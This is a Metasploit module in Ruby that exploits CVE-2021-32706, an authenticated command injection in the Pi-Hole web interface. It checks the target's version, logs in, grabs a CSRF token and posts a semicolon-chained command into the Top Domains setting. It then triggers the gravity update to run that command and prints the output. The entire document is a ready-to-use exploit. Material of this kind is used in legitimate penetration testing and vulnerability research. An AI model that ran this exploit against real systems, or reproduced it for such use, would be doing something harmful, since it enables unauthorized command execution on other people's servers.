Pi-Hole Top Domains API Authenticated Exec

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::Pihole  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Pi-Hole Top Domains API Authenticated Exec',  
'Description' => %q{  
This exploits a command execution in Pi-Hole Web Interface <= 5.5.  
The Settings > API/Web inetrace page contains the field  
Top Domains/Top Advertisers which is validated by a regex which does not properly  
filter system commands, which can then be executed by calling the gravity  
functionality. However, the regex only allows a-z, 0-9, _.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'SchneiderSec' # original PoC, discovery  
],  
'References' => [  
['URL', 'https://github.com/pi-hole/AdminLTE/security/advisories/GHSA-5cm9-6p3m-v259'],  
['CVE', '2021-32706']  
],  
'Targets' => [  
[ 'Automatic Target', {}]  
],  
'DisclosureDate' => '2021-08-04',  
'Privileged' => true,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/']),  
OptString.new('COMMAND', [ true, 'The command to execute. Only 0-9, a-z, _ are allowed.', 'pwd']),  
]  
)  
end  
  
def check  
begin  
_version, web_version, _ftl = get_versions  
  
if web_version.nil?  
print_error("#{peer} - Could not connect to web service - no response or non-200 HTTP code")  
return Exploit::CheckCode::Unknown  
end  
  
if web_version && Rex::Version.new(web_version) <= Rex::Version.new('5.6')  
vprint_good("Web Interface Version Detected: #{web_version}")  
return Exploit::CheckCode::Appears  
else  
vprint_bad("Web Interface Version Detected: #{web_version}")  
return Exploit::CheckCode::Safe  
end  
rescue ::Rex::ConnectionError  
print_error("#{peer} - Could not connect to the web service")  
return Exploit::CheckCode::Unknown  
end  
Exploit::CheckCode::Safe  
end  
  
def validate_command  
# https://github.com/pi-hole/AdminLTE/blob/v5.3.1/scripts/pi-hole/php/savesettings.php#L71  
unless /^((\*.)?[_a-z\d](-*[_a-z\d])*)(\.([_a-z\d](-*[a-z\d])*))*(\.([_a-z\d])*)*$/i =~ datastore['COMMAND']  
fail_with(Failure::BadConfig, 'COMMAND invalid. only _, a-z, 0-9 are allowed.')  
end  
end  
  
def run  
validate_command  
if check != Exploit::CheckCode::Appears  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')  
end  
  
# check if we need a login  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),  
'vars_get' => {  
'tab' => 'api'  
},  
'keep_cookies' => true  
)  
  
# check if we got hit by a login prompt  
if res && res.body.include?('Sign in to start your session')  
res = login(datastore['PASSWORD'])  
fail_with(Failure::BadConfig, 'Incorrect Password') if res.nil?  
end  
  
token = get_token('api')  
  
if token.nil?  
fail_with(Failure::UnexpectedReply, 'Unable to find token')  
end  
print_status("Using token: #{token}")  
print_status('Sending payload request')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),  
'vars_get' => {  
'tab' => 'api'  
},  
'vars_post' => {  
'domains' => "*;#{datastore['COMMAND']}",  
'clients' => '',  
'querylog-permitted' => 'on',  
'querylog-blocked' => 'on',  
'field' => 'API',  
'token' => token  
},  
'keep_cookies' => true,  
'method' => 'POST'  
)  
fail_with(Failure::UnexpectedReply, 'Unable to save settings') unless res && res.body.include?('The API settings have been updated')  
res = update_gravity  
fail_with(Failure::UnexpectedReply, 'Unable to update gravity') unless res && res.code == 200  
# first line after our output should be: data: [i] Neutrino emissions detected...  
output = res.body.split(' [i] ')[0]  
# remove beginning of line with data on it  
output = output.gsub(/^data:/, '')  
# removing last line since its empty  
output = output.split[0..]  
  
print_good(output.join("\n"))  
end  
end  
`